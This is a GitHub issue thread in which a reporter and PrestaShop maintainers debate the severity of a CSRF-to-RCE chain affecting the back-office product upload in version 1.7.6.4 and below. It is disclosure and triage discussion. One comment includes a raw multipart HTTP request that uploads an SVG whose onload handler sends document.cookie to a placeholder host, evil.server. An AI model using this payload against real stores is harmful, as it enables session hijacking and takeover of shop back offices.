Prestashop: About CSRF to RCE bug chain in Prestashop v1.7.6.4 and below

[JarLob]

Just wonder if it was ever disclosed to you https://stazot.com/prestashop-csrf-to-rce-article/

[prestashop-issue-bot[bot]]

Thanks for opening this issue! We will help you to keep its state consistent

[matks]

Hi @JarLob yes multiple people including the author of this article disclosed it to us but we do not consider it a threat.

The article says it's a "Critical CSRF to RCE bug chain". We consider it not critical at all because, in order for this attack to be successfull, it needs:

• attacker must identify someone (= the victim) who has access to the Back-Office (= is able to login) AND at the time of the attack, the victim must be logged in
• attacker must make the victim click on a link he has built, and victim must open the link for a duration long enough for the upload to be complete
• attacker must know the Back-Office directory path of the target shop (each shop has a different Back-office directory path, generated randomly)
• CORS must be disabled on the target server (and they are enabled by default on most standard hostings)

As you can see a lot of conditions are required for the attack to be successfull. Too much conditions to consider it critical.

[JarLob]

Thank you for the comments. I didn't verify the findings, just read the article.
Is there a link to previous discussion to avoid repeating the same arguments?

Even if the chain is broken because of the secret directory name, any reason there is no CSRF protection? There is nothing unusual to be logged-in. Although CSRF attacks involves some social engineering luring people into specially crafted pages, no click is needed, this is not how it works.

What exactly part of the attack chain CORS is defending from? CSRF doesn't require reading and XSS executes in the same origin. I see - withCredentials... I'll look if it can be rewritten with <form> submit to overcome it tomorrow.

[JarLob]

As I thought, CORS doesn't stand in the way. There is no even a need to rewrite the PoC. Of course browser claims "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource" But the network request is sent, you can see it in a Web Proxy:

POST /xxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1
Host: xxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6487332036660663652470259777
Content-Length: 484
Origin: xxxxxxxxxxxxxxxxx
Connection: close
Cookie: xxxxxxxxxxxxxxxxxxxxxxxxxxx
Pragma: no-cache
Cache-Control: no-cache

-----------------------------6487332036660663652470259777
Content-Disposition: form-data; name="path"


-----------------------------6487332036660663652470259777
Content-Disposition: form-data; name="path_thumb"


-----------------------------6487332036660663652470259777
Content-Disposition: form-data; name="file"; filename="poc.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='http://evil.server/?c='+document.cookie;" />

-----------------------------6487332036660663652470259777--

The only thing between attacker and XSS as I understand is the secret directory name. I'm not so familiar with PrestaShop to evaluate how secret is the secret.

Zip upload aside, do you really think this request takes long to upload SVG that gives you stored XSS? Please also notice that in another PoC https://stazot.com/prestashop-csrf-to-rce/ instead of automating zip upload XSS was used just to exfiltrate a session cookie (I didn't check if you have http-only flag set. Even if you have, it is not really a mitigation for XSS).

Aside CSRF, another application specific question is it intentional that authenticated user with 'Products Edit' permission has basically the rights to modify JavaScript (by svg) and PHP code (by zip upload) of the PrestaShop application.

[PierreRambaud]

Hi @JarLob

PrestaShop admin directory is not predictable, only admins know the real path, and it differs on each PrestaShop installation.

This kind of attack is the same as sending a virus that working on only one computer and hoping the target is connected with admin access and execute it.

It's a simple javascript scenario that anybody is able to create on all websites.
We allow the upload of svg, and we allow anybody to upload a theme containing PHP files.

The token in the URL is not a CSRF token, just a little protection, and we plan to remove it in the future.

[JarLob]

PrestaShop admin directory is not predictable, only admins know the real path, and it differs on each PrestaShop installation.

Anti CSRF token is also essentially just a random unpredictable value. But the difference it is tight to a session (i.e. different for every user), while the random directory name is constant and global to all users of the same PrestaShop deployment. Yes as long as it is not leaked or brute-forced it is ok. But this is the difference - it is a weaker protection. I don't understand the resistance of adding the simple anti forgery token to the specific endpoint, but can't force you.

We allow the upload of svg, and we allow anybody to upload a theme containing PHP files.

You intrigued me into looking deeper into PrestaShop when I have time. It just can't be the truth any user is able to upload PHP files that are happily executed by the application on the same origin.

The token in the URL is not a CSRF token, just a little protection, and we plan to remove it in the future.

I don't understand what token in URL you are talking about.

[PierreRambaud]

Anti CSRF token is also essentially just a random unpredictable value. But the difference it is tight to a session (i.e. different for every user), while the random directory name is constant and global to all users of the same PrestaShop deployment. Yes as long as it is not leaked or brute-forced it is ok. But this is the difference - it is a weaker protection. I don't understand the resistance of adding the simple anti forgery token to the specific endpoint, but can't force you.

The CSRF token in forms is valid and working well otherwise the framework Symfony has a real problem :sweat_smile: .
The scenario opens the page, retrieves the token and uses it in the next page like puppeteer, the browser or any End to End tools does. Building a user scenario is not a 0-day.

Also that the vector require very very very targeted attack. If you fall victim of such attack you will be hacked any way one way or another. Targeted attacks are the most difficult to protect from.
As I said, you can do it even on Facebook, gmail, or any websites because ti's a simple javascript code.

[JarLob]

The CSRF token in forms is valid and working well otherwise the framework Symfony has a real problem 😅 .
The scenario opens the page, retrieves the token and uses it in the next page like puppeteer, the browser or any End to End tools does. Building a user scenario is not a 0-day.

You got it wrong. It retrieves anti CSRF token in the second stage to upload the zip file because it has the protection. In the first stage there is no CSRF protection to upload the svg.

Also that the vector require very very very targeted attack. If you fall victim of such attack you will be hacked any way one way or another. Targeted attacks are the most difficult to protect from.

You just denied the existence of one of the basic web security vulnerability types https://owasp.org/www-community/attacks/csrf

Overall don't get offended by the "loud" title of the article. Even if it is not so critical I don't understand the resistance.

[PierreRambaud]

You got it wrong. It retrieves anti CSRF token in the second stage to upload the zip file because it has the protection. In the first stage there is no CSRF protection to upload the svg.

My bad, I was thinking about the theme upload.

For the upload.php, yes there is no CSRF token, it's an old dependency we plan to remove in the future.

But anyway, even if we add a CSRF token here (which can break many parts of the backend because this dependency sucks), the problem is still the same, you will be able to add a new step for the scenario and you'll still able to upload a file.

It's exactly the same as sending you a .sh file (or .exe if you're on Windows) and asking you to execute it as root.

[matks]

Overall don't get offended by the "loud" title of the article. Even if it is not so critical I don't understand the resistance.

Hi, don't worry we are not offended 😄.

We are not resisting, it's just that when we look at the attack, and how most shops are run and maintained, we don't think it would be a major threat. We might be wrong, but we asked multiple people specialized in security and they agree for that. We do not say it's not a threat, we say when compared to lot of other threats it's a really minor one.

If someone wants to really, really hack a shop, indeed he could gather all the necessary informations (back-office directory path, then social-engineer to be able to approach a victim with the required login and password ...) then craft an email "relevant" to make the victim click on a given link and maybe finally be able to exploit the shop. But honestly, if a hacker is willing to spend so much time crafting an attack against your website, unless you're a major tech company, then he'll succeed.

For example a hacker with so much time and motivation could also craft the necessary materials to do very specific phishing and obtain login/password for email accounts of the victim (then he can do whatever he wants as he can resets the password).

If the trap email is not crafted enough, then as @PierreRambaud said it's like clicking on one of those spam emails or running a .exe on your computer because "it says I am the 1,000,000th customer and he will give me 10 bitcoin". We cannot protect people from clicking on unsafe stuff.

This being said, as @PierreRambaud the attack indeed identified some areas of the Back-Office that could benefit from improved security. We dont think current security level is alarming, but rising it up is always a good thing.

[JarLob]

@PierreRambaud I understand the dependency argument. May I suggest having a documented plan when you are going to drop the support for it?

Regarding finding another way... When you have XSS you have the user's rights to perform any action. As I said I don't know what is this 'Products Edit' permission just make sure this "upload zip with php" doesn't cross the role permission boundaries. Finding an analogy it is like allowing web site admin installing new OS programs. If the 'Products Edit' permission means the user is allowed to run arbitrary PHP server side code by design, then there is no vulnerability.

[JarLob]

If someone wants to really, really hack a shop, indeed he could gather all the necessary informations (back-office directory path, then social-engineer to be able to approach a victim with the required login and password ...) then craft an email "relevant" to make the victim click on a given link and maybe finally be able to exploit the shop. But honestly, if a hacker is willing to spend so much time crafting an attack against your website, unless you're a major tech company, then he'll succeed.

It is not that involving as you imagine. The hardest part would be getting the directory name.

For example a hacker with so much time and motivation could also craft the necessary materials to do very specific phishing and obtain login/password for email accounts of the victim (then he can do whatever he wants as he can resets the password).
If the trap email is not crafted enough, then as @PierreRambaud said it's like clicking on one of those spam emails or running a .exe on your computer because "it says I am the 1,000,000th customer and he will give me 10 bitcoin". We cannot protect people from clicking on unsafe stuff.

C'mon guys, people are building business on PrestaShop. Is it your official statement, that a really motivated hacker will get into PrestaShop anyway?

You cannot protect from phishing, i.e. a web site looking as the original one or fake email asking to reset password. But you can protect users from being hacked by just visiting some forum.

[matks]

You cannot protect from phishing, i.e. a web site looking as the original one or fake email asking to reset password. But you can protect users from being hacked by just visiting some forum.

What we say is that, in order to be used, this attack requires a combination of conditions to be met and this combination is too large to make it a major threat 😉.

For example, if I want to hack the shop my-awesome-shop.com I need

• to find the random directory admin path => maybe by asking a laid-off unhappy employee
• to find a current employee who is logged in the Back-Office
• to make him visit a website I have crafted for him

That's a lot 😄

So we dont consider this as a threat.

But this does not mean we are not listening 😉

• improved work on CSRF is currently going on for next PS version
• I just submitted a Feature request to improve security around sensible operations like uploading a theme, see https://github.com/PrestaShop/PrestaShop/issues/19271 with something like 2FA

So we dont consider this as a vulnerability and will not release a patch dedicated to fix this. However we will improve the codebase for next version in order to mitigate the attack vector even though, in our opinion, it is already weak

C'mon guys, people are building business on PrestaShop. Is it your official statement, that a really motivated hacker will get into PrestaShop anyway?

It's not an official statement, but I'd say that, when given enough time and motivation, a hacker could find his way into most standard systems for small companies (I expect big companies to be able to counter that kind of small attacks). Finding users, using social-engineer to slowly gather accesses, findings (such as the random admin directory path) until he has a chain. But this requires long and careful crafting, and it can only be used against one website. Another website will require to start again from the beginning.

Some people like to say "the question is not whether you'll be hacked but when" about data leaks 😄that is why encrypting passwords is important. It's to be sure, if your database is stolen, at least passwords are safe.

It's also why there are bug bounties 😉thinking we are flawless is wrong. Better look for the vulnerabilities rather than denying we have some.

So I hope you get the idea 😉nobody is 100% safe, the idea is to make sure there a no easy ways for a hacker to attack you. But, given enough time and motivation, I'm afraid I think a skilled hacker can attack any small target.

Just like, given enough time and computing power, you can bruteforce any password 😛.

[matks]

@JarLob I modified the title of this issue to "About CSRF to RCE bug chain in Prestashop v1.7.6.4 and below" so it will be more easily foud by people searching about it and also in order not to scare people reading the title 😄

I close this issue as I think we are done with it but you can reopen it if needed

[PululuK]

👀